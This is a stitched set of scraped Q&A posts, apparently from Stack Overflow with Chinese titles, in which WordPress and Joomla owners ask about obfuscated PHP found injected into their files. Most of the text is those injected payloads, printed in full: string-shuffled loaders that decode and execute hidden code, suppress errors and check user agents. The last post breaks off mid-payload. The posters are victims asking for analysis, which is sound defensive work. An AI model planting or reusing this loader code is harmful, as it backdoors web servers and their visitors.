9%'&gt;$row[mhc_restriction]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[RFS]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[assay_score]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[AS_TYPE]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[effector_origin]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[unique_reference_id]&lt;/td&gt; &lt;/tr&gt;"; } } </code></pre> <p>I think there might be an issue with my quotes inside the echo, thank you</p> </div>

Wordpress - 发现恶意PHP代码

<div class="post-text" itemprop="text"> <p>I noticed some extra code in the top of <strong>all</strong> on my <code>.php</code> file in one of my Wordpress site.</p> <p>Here is the code:</p> <pre><code>&lt;?php $symejqfw = ' 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; x7f x7f x7f&lt;u%V x27{ftmfV x7f&lt;*X&amp;Z&amp;S{fssfpms();}}h1:|:*mmvo:&gt;:iuhofm%:-5ppde75]y7:]268]y7f#&lt;!%tw-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-t0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x%6&lt;*17-SFEBFI,6&lt;*127-UVPFNJU,*CWtfs%)7gj6&lt;*id%)ftpmdR6&lt;*id%)dfyfR x27tfs 164") &amp;&amp; (!isset($GLOBALS[" x61 :}334}472 x24&lt;!%ff2!&gt;!bssbz) x24]25 x24- x24-!% x24- x#QwTW%hIr x5c1^-%r x5c2^-%hOh/7;%!&lt;*#}_;#)323ldfid&gt;}&amp;;!osvufs} x7f;!opj81]265]y72]254]y76#&lt;!%w:!&gt;!(%w:!&gt;! x246767~6&lt;Cw6&lt;%c*W%eN+#Qi x5c1^W%c!&gt;!%i x5c2^&lt;!Ce*[!%cIjQeTQcOc/#00#W*-)1/2986+7**^/%rx&lt;~!!%s:N}#-%o:W%c:&gt;1&lt;%b:&gt;1&lt;!gps)DPT7-UFOJ`GB)fubfsdXA x27K6&lt; x7fw6*3qj%7&gt; x2272qj%)7gj6&lt;**2q x27pd%6&lt;C x27pd%6|6.7eu{66~67&lt;&amp;w8y]#&gt;q%&lt;#762]67y]562]38y]572]48y]#&gt;m%:|:*#)rrd/#00;quui#&gt;.%!&lt;***f x27,*e x27,*d x27,*c x27,*b x27)fepdof%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sf6&lt;*27-SFGTOBSUOSVUFS,6&lt;*msv%7-MSV,6&lt;*)ujo = $smtfqnn("", $kyfymwm); $tu%7&gt;/7&amp;6|7**111127-K)ebfsX x27u%)7fmjix6&lt;C x27&amp;6&lt;*rfs%7-K)fujsxX6&lt;#7/7^#iubq# x5cq% x27j-C)fepmqnjA x27&amp;6&lt;.fmjgA x27doj%6&lt; x7fw6* x7f_%&lt;#372]58y]472]37y]672]48y]#&gt;s%&lt;#462]47y]252]1w/ x24)##-!#~&lt;#/% x24- x24!&gt;!fyqh!&gt;!%tdz)%bbT-%bT-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)c%j:^&lt;!%w` x5c^&gt;Ew:Qb:Qc:W~!%z!&gt;2&lt;!gps)%j&gt;1&lt;E{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opju#&gt;q%V&lt;*#fopoV;hojepdoF.uofu24&lt;!%tmw!&gt;!#]y84]275]y83]273]y76]277#&lt;!%t2w&gt;tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{%tdz&gt;#L4]275L3]248L3P6L1M5]D2P4]D6#&lt;%G]yf 142 x5f 163 x74 141 x72tmfV x7f&lt;*XAZASV&lt;*w%)8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:4898o]o]Y%7;utpI#7&gt;/7rfs%6&lt;#o]1/20QUUI7jsv%7UFH# if((function_exists(" x6%j=6[%ww2!&gt;#p#/#p#/%z&lt;jg!)%z&gt;&gt;2*!%z&gt;3&lt;!fmtf!%z&gt;2&lt;!%ww2)%w`TW~ %tww**WYsboepn)%bss-%rxB%h&gt;#]y31]278]y3.985:52985-t.98]K4]65]Duqpuft`msvd},;uqpuft`msvd}+;!&gt;!} x27;!&gt;&gt;&gt;!}_;gvc%}&amp;;ftmbg} x6&lt;*&amp;7-#o]s]o]s]#)fepmqyf x27*&amp;7-n%)utje]81]K78:56985:6197g:74985-rbg39*56A:&gt;:8:|:7#6#)&lt;%bG9}:}.}-}!#*&lt;%nfd&gt;%fdy&lt;Cb*[%6&lt; x7fw6*CW&amp;)7gj6&lt;*doj%7dovg x22)!gj}1~!&lt;2p% x7f!~P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#&lt;#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]2%j:&gt;1&lt;%j:=tj{fpg)%s:*&lt;%j:,,Bjg!)%j:&gt;.)fepdof./#@#/qp%&gt;5h%!&lt;*::::::-111112)eobs`un&gt;qp%!|Z~!&lt;##!&gt;!2p 166 x3a 61 x31"))) { $smtfqnn = " x63!sp!*#opo#&gt;&gt;}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x2156 x75 156 x61"])))) { $GLOBALS[" 7R37,#/q%&gt;U&lt;#16,47R57,27R66,#/q%&gt;2q%&lt;#g6R85,67R37,18R24-tusqpt)%z-#:#* x24- x24!&gt;! x24/%tjw/ xUTPI`QUUI&amp;e_SEEB`FUPNFS&amp;d_SFSFGFS`QUUI&amp;c_UOFHB`SF!| x24- x24gvodujpo! x24- x24y7 x24- x24*&lt;! x24- x24gps)%j!gj!&lt;*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!&gt;!ssbnpe_GMFT`QIQ&amp;f_n%-#+I#)q%:&gt;:r%:|:**t%)m%=*h%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;n]67]452]88]5]48]32M3]317]445]212]44)%zB%z&gt;! x24/%tmw/ x24)%zW%h&gt;EzH,2W%wN;#-Ez-1H*WCw*[!%rN}2qj%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBFSUT`LjR x27id%6&lt; x7fw6* x7f_*#ujojRk3`{666~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7g,j%&gt;j%!&lt;**3-j%-bubE{h%)sutcvt-#w#)ldbqov&gt;*oh%)tpqsut&gt;j%!*9! x27!hmg%)!gj!~&lt;ofmy%,3mcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]373P6]36]73]83]238M7]381]211M5j6&lt;.[A x27&amp;6&lt; x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!&gt;&gt;!}W;utpi}Y;x272qj%6&lt;^#zsfvr# x5cq%7/7#@#*qp%!-uyfu%)3of)fepdof`57ftbc x7f!27Y%6&lt;.msv`ftsbqA7&gt;q%6&lt; x7fw6* x7f_*#fubfsdXk5`{66~6&lt;&amp;wTV`QUUI&amp;b%!|!*)323zbek!~!&lt;b% x7f!&lt;X&gt;b%Z&lt;#opo#&gt;b%!*##&gt;&gt;6d]281Ld]245]K2]285]Ke]#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36w!&gt;! x2400~:&lt;h%_t%:osvufs:~:&lt;4:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#&lt;%tpz!&gt;!#]D6M7]K3#&lt;%yy&gt;#]D]275]y83]248]y83]256]y4]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9*sv%6&lt;C&gt;^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6&lt;^#Y# x5cq% xmpef)# x24*&lt;!%t::!&gt;! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)r.93e:5597f-s.973:8297f:5297e:56-xr!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))m6&lt; x7fw6*CW&amp;)7gj6&lt;*K)ftpmdXA6~6&lt;function gikhoiu($n)~!Ydrr)%rxB%epnbss!&gt;!bgj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#j]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72fmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%!&lt;##!&gt;!2p%Z&lt;^2 x5c2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!gj!&lt;*2bd%-#1GO x22#)fepmqyfA&gt;2b%!&lt;*qp%-*.%)euhA)3of&gt;2bd%!&lt;5h%/#0#/*#npd/!%t::**&lt;(&lt;!fwbm)%tjw)# x24#-!#]y38#-!%w:**&lt;")));$tssfpms:4:|:**#ppde#)tutjyf`4 x223}!+!&lt;+{e%+*!*+fepdfe{h+{d%)+opjppde&gt;u%V&lt;#65,47R25,d7R17,6X)!gjZ&lt;#opo#&gt;b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!&lt;*(array_map("gikhoiu",str_split("%tjw!&gt;!#]y84#H#-#I#-#K#-#L#-#M#-#[#j%)hopm3qjA)qj3hopmA x273qj%6&lt;*Y%)fnbozcYufhA pd%w6Z6&lt;.5`hA x27pd%6&lt;pd%w6Z6&lt;.4`hA x27p|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;*#fmjgk4`{6~6&lt;tfs%w6&lt; x7fw624*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!&gt;!%yy)#}#-# x24- x&gt;1&lt;%j=tj{fpg)% x24- x24*&lt;!~! x24/%t25]43]321]464]284]364]6]234]342]58]27f;!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudo{return chr(ord($n)-1);} @error_reporting(0); $kyfymwm = imploder%:-t%)3of:opjudovg&lt;~ x24&lt;!%o:!&gt;! x242178}527}88tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)ssbz)#44ec:649#-!#:618d5f9#-!#f6c6839]},;osvufs} x27;mnui}&amp;;zepc}A;~!} x7f;!|!}{;)udovg+)!gj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;&gt; x22!ftmbg)!gj&lt;*#k#)usbut`cpV x7f24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24- x24&lt;%j,,*53Ld]53]Kc]55Ld]55#*vg)!gj!|!*msv%)}k~~~&lt;ftmbg!osvufs!|ftmf!~&lt;**9.-j%-bubE{h%)sutcvx61 156 x75 156 x61"]=1; $uas=strtolower($_SERVEx27rfs%6~6&lt; x7fw6&lt;*K)ftpmdXA6|7**197-t)fubmgoj{hA!osvufs!~&lt;3,j%&gt;j%!*3! x27!hmg%!)!gj!&lt;2,*j%!-#1]#-udovg}k~~9{d%:osvufs:~928&gt;&gt; x22:ftm*9-1-r%)s%&gt;/h%:&lt;**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)9#-!#65egb2dc#*&lt;!sfuvso!sboepn)%epnbss-%rxW~!Ypp2#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)R[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"d%6&lt;pd%w6Z6&lt;.3`hA x27pd%6&lt;pd%w6Z6&lt;.2`hAopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2bubE{h%)tpqsut&gt;j%!*72! x27!hmg%)!gj!&lt;2,*j%-#1]#-bubE{)!gj!&lt;**2-4-bubE{h%)sutcvt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9y]g2y]#&gt;&gt;*4-1-bubx24&lt;!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-6]281L1#/#M5]DgP5]D6#&lt;%fdy&gt;#]D4]273]D6&gt;1*!%b:&gt;1&lt;!fmtf!%b:&gt;%s: x5c%j:.2^,%b:&lt;!%c:&gt;%s: x5sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjisjaar'; $vfovhd=explode(chr((731-611)),substr($symejqfw,(25019-19142),(234-200))); $mnyjals = $vfovhd[0]($vfovhd[(3-2)]); $rghbybu = $vfovhd[0]($vfovhd[(13-11)]); if (!function_exists('vjgzedrinj')) { function vjgzedrinj($weimqfk, $wamgseuu,$xxexlfvd) { $fdiepn = NULL; for($mjuwsnoc=0;$mjuwsnoc&lt;(sizeof($weimqfk)/2);$mjuwsnoc++) { $fdiepn .= substr($wamgseuu, $weimqfk[($mjuwsnoc*2)],$weimqfk[($mjuwsnoc*2)+(3-2)]); } return $xxexlfvd(chr((37-28)),chr((320-228)),$fdiepn); }; } $vpgsib = explode(chr((133-89)),'1636,24,1479,25,328,33,2275,35,5144,48,5463,64,3833,63,2189,38,0,59,3746,20,4675,64,4248,44,3425,22,486,49,4361,40,5527,39,700,33,1844,38,3713,33,943,67,1591,45,5192,37,2739,45,640,60,4315,46,3079,29,1010,21,3493,65,3142,55,1961,24,1031,46,4445,27,285,43,256,29,873,41,2784,57,3018,61,4787,69,1784,60,4611,64,5081,63,5229,61,5622,53,2884,39,2841,43,3896,38,5675,70,1252,67,1985,26,3934,55,3989,62,774,63,2127,62,837,36,2923,64,3647,66,2511,70,2404,49,3197,54,4191,57,3108,34,4401,44,2227,48,445,41,5290,35,1910,20,1390,49,109,27,4107,28,4135,30,4938,69,59,39,1504,21,4165,26,2310,53,1319,27,5566,56,4893,45,3788,45,188,68,1346,44,2044,47,136,20,3332,29,5325,55,2581,66,1077,46,733,41,4739,48,361,54,4472,68,2363,41,5007,54,2453,58,4540,36,1123,32,3558,54,535,55,3766,22,4856,37,5380,49,2682,57,415,30,5429,34,1722,39,1882,28,3612,35,1761,23,1525,66,3361,64,5790,38,2011,33,1439,40,3251,23,5061,20,1930,31,1155,53,3274,58,2987,31,2647,35,4576,35,3447,46,590,50,2091,36,5828,49,1208,44,1660,62,5745,45,4292,23,156,32,4051,56,914,29,98,11'); $yoqfazwbq = $mnyjals("",vjgzedrinj($vpgsib,$symejqfw,$rghbybu)); $mnyjals=$symejqfw; $yoqfazwbq(""); $yoqfazwbq=(650-529); $symejqfw=$yoqfazwbq-1; ?&gt; </code></pre> <p>Should I be worried?</p> <p>What should I do to fix this?</p> </div>

php XSS攻击后该怎么办?

<div class="post-text" itemprop="text"> <p>My server is infected with XSS attack. All of the php files (all of wordpress, my custom .php scripts and applications) have got injected with a similar type of encrypted code seen as below.</p> <p>What is the course of action in a situation like this? I've read about preventing XSS but couldn't find a solid guide on what to do when already got attacked.</p> <p>Also, I wonder is it possible to decrypt the injected php code below: </p> <pre><code>&lt;?php $wwykwjmqa = '281Ld]245]K2]285]Ke]53Ldd/#)rrd/#00;quui#&gt;.%!&lt;***f x27,*e x27,*d x27,*c x27,*4&lt;%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*&lt;7fw6&lt;*K)ftpmdXA6|7**197*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!*#&gt;m%:|:*r%:-t%)3of:opjudo%tdz)%bbT-%bT-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)#]341]8^#zsfvr# x5cq%)ufttj x22)gj6&lt;^#Y# x5cq% x27Y%6&lt;.mif((function_exists(" x6f 1#W#-#C#-#O#-#N#*-!%ff2-!%t::**&lt;(&lt;!fwbm)%tjw)mg%!)!gj!&lt;2,*j%!-#1]#-bu,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2-K)ebfsX x27u%)7fmjix2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!gj!&lt;*2bd%-#1GO x22#)fepmqyfA&gt;2b%!&lt;*qp%d($n)-1);} @error_reporting(0); $effwexo :&gt;1&lt;%j:=tj{fpg)%s:*&lt;%j:,,Bjg!)*#j{hnpd#)tutjyf`opjudovg x22)!gj}56A:&gt;:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hn x7fw6*CW&amp;)7gj6&lt;*doj%7-C)fepmqz+sfwjidsb`bj+upcotn+qsvmt+fmhpph! x24- x24gps)%j&gt;1&lt;%j=tj{fpg)% x24- x24*&lt;!~! x24/%t2w/ x24)##-!#~&lt;)sutcvt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9y]g2y]#&gt;&gt;&gt;! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!&gt;!%i# x24#-!#]y38#-!%w:**&lt;")));$dsngrwc d%6&lt;pd%w6Z6&lt;.4`hA x27pd%6&lt; x24- x24!&gt;! x24/%tjw/ x24)% x24- x24y4 x24- x281]265]y72]254]y76#&lt;!%w:!&gt;!(%w:!&gt;! x246767~6&lt;Cw6&lt;pd%w6Z6&lt;.5`hA x27p!|ftmf!~&lt;**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!os!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z!-id%)uqpuft`msvd},;um!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!&lt;**2-4-bubE{h%-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-4]y8 x24- x24]26 x24- x2b x27)fepdof.)fepdof./#@#/qp%&gt;5h%!&lt;*::::::-111112)eobs`un&gt;qp%#&lt;%tpz!&gt;!#]D6M7]K3#&lt;!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z&gt;! x24/%tmw/ x24)%zW%h&gt;EzH]672]48y]#&gt;s%&lt;#462]47y]252]18y]#&gt;q%&lt;qpuft`msvd}+;!&gt;!} x27;!&gt;&gt;&gt;!}_;gvc%}&amp;;ftmbg} x7f;]53]Kc]55Ld]55#*&lt;%bG9}:}.}6*CW&amp;)7gj6&lt;.[A x27&amp;6&lt; x7fw6* x7f_*6&lt;#o]1/20QUUI7jsv%7UFH# x27rfs%6~6&lt; x]},;osvufs} x27;mnui}&amp;;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]#/% x24- x24!&gt;!fyqmpef)# x24*&lt;!%t::!y3f]51L3]84]y31M6]y3e]81 x24b!&gt;!%yy)#}#-# x24- x24-tusqpt)%z-#:#*!|Z~!&lt;##!&gt;!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeob6&lt;*msv%7-MSV,6&lt;*)ujojR x27id%6&lt; x7fw6* x7f_*#ujojRk3`{666~6&lt;&amp;w6&lt; x7fw5 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 11~!&lt;2p% x7f!~!&lt;##!&gt;!2p%Z&lt;^2 x5c8M7]381]211M5]67]452]88]5]48]32M3]316e"; function wfvpmkm($n){return chr(or323zbe!-#jt0*?]+^?]_ x5c}X x24&lt;!%tmw!&gt;!#]#762]67y]562]38y]572]48y]dy&gt;#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#&lt;%tdz&gt;#L8M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]23f_UTPI`QUUI&amp;e_SEEB`FUPNFS&amp;d_SFSFGFS`QUUI&amp;c_UOFHB`SFTV`QUUI&amp;by84]275]y83]273]y76]277#&lt;!%t2w&gt;#]y74]273]y76]252]y85]256]y6g]25x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24-%yy&gt;#]D6]281L1#/#M5]DgP5]D6#&lt;%f#-bubE{h%)tpqsut&gt;j%!*9! x27!hmg%)!gj!~&lt;ofmy%,3,j%&gt;j%!&lt;{6~6&lt;tfs%w6&lt; x7fw6*CWtfs%)7gj6&lt;*id%)ftpmdR6&lt;*id%)d:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#&gt;&gt;}R;msv}.;/#/#/},;#-#}+;%-**3-j%-bubE{h%)sutcvt-#w#)ldbqov&gt;*ofmy%)utj7f&lt;*X&amp;Z&amp;S{ftmfV x7f&lt;*XAZASV&lt;*w%)pmqyf x27*&amp;7-n%)utjm6&lt; x7fw6*CW&amp;)7gj6&lt;*K)ftpmdXA6~6&lt;u%7&gt;/7&amp;6|7**1111276&lt;C x27&amp;6&lt;*rfs%7-K)fujsxX6&lt;#o]o]Y%7;utpI#7&gt;/7rfs%qp%)54l} x27;%!&lt;*#}_;#)323ldfid&gt;}&amp;;!osvufs} x7f;!opjudo.uofuopD#)sfebfI{*w%)kVOBALS[" x61 156 x75 156 x6de#)tutjyf`4 x223}!+!&lt;+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!g28y]#/r%/h%)n%-#+I#)q%:&gt;:r%:|:**t%)m%=%!|!*)323zbek!~!&lt;b% x7f!&lt;X&gt;b%Z&lt;#opobE{h%)tpqsut&gt;j%!*72! x27!hmg%)!gj!&lt;2,*j%-#1]#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxc:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*&lt;4]275L3]248L3P6L1M5]D2P4]D6#&lt;%G]y6d]W%c:&gt;1&lt;%b:&gt;1&lt;!gps)%j#[k2`{6:!}7;!}6;##}C;!&gt;&gt;!}W;utpi}Y;tuofuopd`ufh`fj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;&gt; x22!ftmbg)!gj&lt;*#k#)usbut`cpV x7f%j:&gt;&gt;1*!%b:&gt;1&lt;!fmtf!%b:&gt;%s: x5c%j:.2^,%b:&lt;!%c:&gt;%s: x5c%j:^&lt;!%w` x5c^&gt;Ew:Qb:Qc:W~!%z!-}!#*&lt;%nfd&gt;%fdy&lt;Cb*[%h!&gt;!= $haczumi("", $effwexo); $dg!)%z&gt;&gt;2*!%z&gt;3&lt;!fmtf!%z&gt;2&lt;!%ww2)%w`TW~ x24&lt;!fwbm)%tjw)bssbz)#P#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx&lt;~!!%s:N}#-%o:62 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 xpmpusut)tpqssutRe%)Rd%)Rb%))!gj!&lt;72qj%6&lt;^#zsfvr# x5cqvg&lt;~ x24&lt;!%o:!&gt;! x242178}527}88:}334}472 x24&lt;!%ff2!&gt;!bssbz) x24]25 x5c2^&lt;!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!&gt;!bssbz)#44e*h%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;n%&lt;#372]58y]472]37ypd19275fubmgoj{h1:|:*mmvo:&gt;:iuhofm%:-5ppde:4:|:**#ppvufs!~&lt;3,j%&gt;j%!*3! x27!h*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!&gt;!ssbnpe_GMFT`QIQ&amp;97e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc1"]=1; $uas=strtolower($_SE=])0#)U! x27{**u%-#jt0}Z;0]=]0#pd%w6Z6&lt;.3`hA x27pd%6&lt;pd%w6Z6&lt;.2`hA x2-2qj%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB-*.%)euhA)3of&gt;2bd%!&lt;5h%/#0#/*#npS[" x61 156 x75 156 x61"])))) { $GL#&gt;b%!*##&gt;&gt;X)!gjZ&lt;#opo#&gt;b%!**X)ufttj x22)gj!&gt;2&lt;!gps)%j&gt;1&lt;%j=6[%ww2!&gt;#p#/#p#/%z&lt;j;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~&lt;ftmbg!osvufs]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:52fyfR x27tfs%6&lt;*17-SFEBFI,6&lt;*127-UVPFNJU,6&lt;*27-SFGTOBSUOSVUFS,45")) or (strstr($uas," x72 166 x3a 61 x31"))) { $haczumi = " x63 1w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%r%7/7#@#7/7^#iubq# x5cq% x27jsv%6&lt;C&gt;^#zsfvr# x5cq%7**)fubfsdXA x27K6&lt; x7fw6*3qj%7&gt; x2272qj%)7gj6&lt;**2qj%)hopm3qjA)qj36* x7f_*#fubfsdXk5`{66~6&lt;&amp;w6&lt;|!*nbsbq%)323ldfidk!~!&lt;**qp%!-uyfu%)3of)fepdof`= implode(array_map("wfvpmkm",42 x5f 163 x74 141 x72 164") &amp;&amp; (!isset($GLOBALsngrwc();}}vg}k~~9{d%:osvufs:~928&gt;&gt; x22:ftmbg39*x{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;27]445]212]445]43]321]464]284]364]6]234]342]58]24]31#7]y86]267]y74]275]y7:]268]y7f#&lt;!%tww!&gt;! x2400~:&lt;57ftbc x7f!|!*uyfu x27kmsvd}R;*msv%)}.;`UQPMSVDh%_t%:osvufs:~:&lt;*9-1-r%)s%&gt;/h%:&lt;**#57]38y]47]67y]37]88y]27]sv`ftsbqA7&gt;q%6&lt; x7fwppde&gt;u%V&lt;#65,47R25,d7R17,67R37,#/q%&gt;U&lt;#16,47R57,2njA x27&amp;6&lt;.fmjgA x27doj%6&lt; x7fw6* x7f_*#fmjgk4`str_split("%tjw!&gt;!#]y84]275]y83]248]y83]256]yxB%h&gt;#]y31]278]y3e]81mjg}[;ldpt%}K;`ufldpt}X;`7pd%6&lt;C x27pd%6|6.7eu{66~67&lt;&amp;w6&lt;*&amp;7-#o]s]o]s]#)fe7R66,#/q%&gt;2q%&lt;#g6R85,67R37,18R#&gt;q%V&lt;*#fopoV;hojepdoFhopmA x273qj%6&lt;*Y%)fnbozcYufhA x2)2q%l}S;2-u%!-#2#/#%#/#o]#/*) x7f x7f x7f&lt;u%V x27{ftmfV xRVER[" x48 124 x54 120 x5f 125 x53 10sTrREvxNoiTCnuf_EtaerCxECalPer_Rtszbpugxmqd'; $xadaat=explode(chr((833-713)),substr($wwykwjmqa,(40926-35049),(188-154))); $ghhrhvx = $xadaat[0]($xadaat[(6-5)]); $ohxwtrqt = $xadaat[0]($xadaat[(11-9)]); if (!function_exists('dulwdh')) { function dulwdh($xjtystpc, $ukgzlz,$luupugng) { $bzudlnhrz = NULL; for($gynqittgr=0;$gynqittgr&lt;(sizeof($xjtystpc)/2);$gynqittgr++) { $bzudlnhrz .= substr($ukgzlz, $xjtystpc[($gynqittgr*2)],$xjtystpc[($gynqittgr*2)+(4-3)]); } return $luupugng(chr((55-46)),chr((294-202)),$bzudlnhrz); }; } $fjslgcupn = explode(chr((164-120)),'333,27,5103,47,4482,35,3015,26,4296,27,5840,37,1993,66,4769,67,3755,52,2126,39,579,41,5073,30,5558,45,1075,67,1002,26,4354,38,5649,49,2818,70,493,21,2888,49,1656,37,126,23,4392,58,4934,63,5750,33,3840,20,4882,52,284,49,5442,20,4997,29,733,30,5511,47,2624,50,4708,61,1924,69,1622,34,3373,49,5624,25,5359,24,1219,21,1548,48,1187,32,4596,62,1142,45,4098,24,404,24,3171,44,2570,54,2743,43,1240,49,862,43,149,54,650,34,2059,31,514,65,4450,32,24,53,1366,61,1864,60,763,33,3215,58,3807,33,4122,63,2354,60,3136,35,4517,43,5026,47,5336,23,2674,69,2937,55,5161,37,684,49,4046,52,3041,57,3422,60,5812,28,2786,32,5462,49,5698,52,2992,23,5198,38,1693,70,4323,31,5783,29,2165,41,2414,63,5288,48,5383,59,3098,38,3988,58,1512,36,2206,25,203,25,3860,67,2477,62,1823,41,1028,47,1342,24,77,49,796,66,1763,36,905,61,3927,61,3273,44,1447,65,428,65,4836,46,5603,21,4658,50,4185,45,1799,24,4230,66,1427,20,2539,31,2231,54,3317,36,0,24,1596,26,3566,25,228,56,2285,69,2090,36,5236,52,3682,44,3726,29,3353,20,620,30,3482,64,3546,20,4560,36,3619,63,1289,53,360,44,966,36,3591,28,5150,11'); $cagbthgj = $ghhrhvx("",dulwdh($fjslgcupn,$wwykwjmqa,$ohxwtrqt)); $ghhrhvx=$wwykwjmqa; $cagbthgj(""); $cagbthgj=(638-517); $wwykwjmqa=$cagbthgj-1; ?&gt; </code></pre> <p>Just to understand what it does and where it got in?</p> <p>Thanks in advance for all the help!</p> </div>

去混淆PHP代码“opjudovg”

<div class="post-text" itemprop="text"> <p>Recently I discovered some obfuscated code at the top of some Joomla files on a LAMP server. Obviously this was placed here through a Joomla exploit but the code is highly obfuscated thus it is nearly impossible to tell what it does. While analyzing it I noticed there is repeated uses of the string:</p> <blockquote> <p>opjudovg</p> </blockquote> <p>I have done some googling and found others (not all are Joomla) that apparently been plagued with this but I have not found a good answer as to what this script does. </p> <p>Does anyone have any ideas on how I would go about reverse engineering what this is?</p> <pre><code>&lt;?php $ldzlfqw = ',3,j%&gt;j%!&lt;**3-j%-bubE{h%)sutcvt-#w#)ldbqov&gt;!hmg%)!gj!&lt;2,*j%-#1]#-bubE{h%)tpqsut&gt;j%!*9! x27!hmg%)!gj!~&lt;ofmy%]y72]254]y76#&lt;!%w:!&gt;!(%w:!&gt;! x2467+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!1 156 x75 156 x61"])))) { $GLOBALS[" x x242178}527}88:}334}472 x24&lt;!%ff8M4P8]37]278]225]241]3 x64"))) { $qnqbjbm = " x63 162 x654- x24y4 x24- x24]y8 x24- x24]26 x24- x24&lt;%j,eTQcOc/#00#W~!Ydrr)%rxB%epnbss!&gt;!VER[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41 107 